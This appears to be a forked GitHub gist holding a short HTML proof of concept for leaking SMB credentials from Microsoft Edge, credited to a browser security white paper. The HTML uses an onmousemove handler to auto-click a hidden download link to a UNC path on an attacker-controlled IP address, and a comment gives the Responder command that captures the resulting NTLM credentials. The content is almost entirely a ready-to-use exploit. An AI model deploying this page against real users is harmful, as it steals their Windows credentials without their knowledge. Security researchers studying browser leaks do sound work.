Skip to content

Instantly share code, notes, and snippets.

@Dlat
Forked from mgeeky/smb-credential-leak.html
Created August 20, 2018 20:08
Show Gist options
  • Save Dlat/075c3f4673dabcefabf20bf9cfde9c3f to your computer and use it in GitHub Desktop.
Save Dlat/075c3f4673dabcefabf20bf9cfde9c3f to your computer and use it in GitHub Desktop.
SMB Credentials leakage by MSEdge as presented in Browser Security White Paper, X41 D-Sec GmbH.
<!-- PoC for leaking SMB Credentials with listening Responder -->
<!-- as presented by X41 D-Sec GmbH in Browser Security White Paper. -->
<!-- To be used as: $ `responder -I eth0 -w -r f -v` -->
<body onmousemove="document.getElementById(6).click()">
<a id=6 href="\\192.168.56.101\edgeleak" download></a>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment